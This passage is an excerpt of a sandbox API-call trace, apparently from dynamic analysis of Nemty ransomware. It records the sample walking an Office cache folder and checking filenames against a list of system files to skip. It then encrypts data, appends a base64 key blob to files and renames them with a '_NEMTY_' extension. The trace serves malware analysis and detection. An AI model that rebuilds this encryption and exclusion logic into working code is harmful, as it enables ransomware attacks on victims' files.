hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0049.170] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.170] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi._nemty_kgobjgd_")) returned 1 [0049.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0049.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0049.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0049.171] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2=".") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="..") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="...") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="windows") returned -1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="$RECYCLE.BIN") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="rsa") returned -1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="NTDETECT.COM") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ntldr") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="MSDOS.SYS") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="IO.SYS") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="boot.ini") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="boot.ini") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="AUTOEXEC.BAT") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="ntuser.dat") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="desktop.ini") returned 1 [0049.171] lstrcmpiW (lpString1="Office32WW.xml", lpString2="CONFIG.SYS") returned 1 [0049.172] lstrcmpiW (lpString1="Office32WW.xml", lpString2="RECYCLER") returned -1 [0049.172] lstrcmpiW (lpString1="Office32WW.xml", lpString2="BOOTSECT.BAK") returned 1 [0049.172] lstrcmpiW (lpString1="Office32WW.xml", lpString2="bootmgr") returned 1 [0049.172] lstrcmpiW (lpString1="Office32WW.xml", lpString2="programdata") returned -1 [0049.172] lstrcmpiW (lpString1="Office32WW.xml", lpString2="appdata") returned 1 [0049.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x0) returned 14 [0049.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x653f250, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x0) returned 14 [0049.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x653f2a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x0) returned 14 [0049.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0049.172] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Office32WW.xml", cchWideChar=14, lpMultiByteStr=0x653f2d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office32WW.xml", lpUsedDefaultChar=0x0) returned 14 [0049.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942d8 [0049.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94230 | out: hHeap=0x4f90000) returned 1 [0049.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0049.172] Sleep (dwMilliseconds=0x5) [0049.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd104dc50, dwHighDateTime=0x1d561e7)) [0049.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd104dc50, dwHighDateTime=0x1d561e7)) [0049.185] GetLastError () returned 0x0 [0049.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0049.185] GetLastError () returned 0x0 [0049.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0049.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.185] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0049.185] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0049.185] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0049.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0049.185] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="Hq+pxjfjfZVqEaLEQUmFH7PDBwRKeFNf0CraMXPq+WTC3OwKAiAN+YnS0bmqRCw5\r\nKKkqoB10Hc+RSzPXvr5OuDWpOVBAYhzAkERV8F6IG6YzvEBGH4yLawl5R3fLN6gh\r\n7LTuADI0PR78IUmIxgkpIMnCxk4bH3a88uzNKATDRs07LBi0XvO7OKtThgG+E+/s\r\n/JoU/eEwivjFv9eqO/4TjOsssA845IjHzniI4yW80KhAc0b30RpmrhM2ZcjNiINK\r\ni0ap5RzHOG3tDO2WE1V4WrC9wZusypEHMHG5NgVC4YgnpaZVVNfuUiByQIMCf8H5\r\nfwS8dl9qZA2f5FhoY0OVCQ==\r\n", pcchString=0x653ef9c) returned 1 [0049.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0049.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0049.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0049.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0049.186] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0049.186] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=4274) returned 1 [0049.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10b0) returned 0x6346d48 [0049.186] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.186] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x10b0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x10b0, lpOverlapped=0x0) returned 1 [0049.188] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.188] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x10b0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x10b0, lpOverlapped=0x0) returned 1 [0049.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0049.188] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=4274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10b2 [0049.188] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0049.188] CloseHandle (hObject=0x3c8) returned 1 [0049.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0049.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0049.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0049.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0049.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.189] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml._nemty_kgobjgd_")) returned 1 [0049.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0049.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0049.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0049.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0049.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0049.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0049.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0049.190] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2=".") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="..") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="...") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="windows") returned -1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="$RECYCLE.BIN") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="rsa") returned -1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="NTDETECT.COM") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="ntldr") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="MSDOS.SYS") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="IO.SYS") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="boot.ini") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="boot.ini") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="AUTOEXEC.BAT") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="ntuser.dat") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="desktop.ini") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="CONFIG.SYS") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="RECYCLER") returned -1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="BOOTSECT.BAK") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="bootmgr") returned 1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="programdata") returned -1 [0049.190] lstrcmpiW (lpString1="ose.exe", lpString2="appdata") returned 1 [0049.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x653f250, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0049.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x653f250, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0049.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x653f2a0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0049.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0049.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x653f2d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0049.190] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94380 [0049.190] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0049.191] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x16854390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2=".") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="..") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="...") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="windows") returned -1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="$RECYCLE.BIN") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="rsa") returned -1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="NTDETECT.COM") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="ntldr") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="MSDOS.SYS") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="IO.SYS") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="boot.ini") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="boot.ini") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="AUTOEXEC.BAT") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="ntuser.dat") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="desktop.ini") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="CONFIG.SYS") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="RECYCLER") returned -1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="BOOTSECT.BAK") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="bootmgr") returned 1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="programdata") returned -1 [0049.191] lstrcmpiW (lpString1="osetup.dll", lpString2="appdata") returned 1 [0049.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0049.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetup.dll", lpUsedDefaultChar=0x0) returned 10 [0049.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0049.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetup.dll", lpUsedDefaultChar=0x0) returned 10 [0049.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0049.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0049.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetup.dll", lpUsedDefaultChar=0x0) returned 10 [0049.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0049.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0049.192] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetup.dll", lpUsedDefaultChar=0x0) returned 10 [0049.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0049.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0049.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0049.192] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="..") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="...") returned 1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="windows") returned -1 [0049.192] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="$RECYCLE.BIN") returned 1 [0049.192] lstrcmpiW 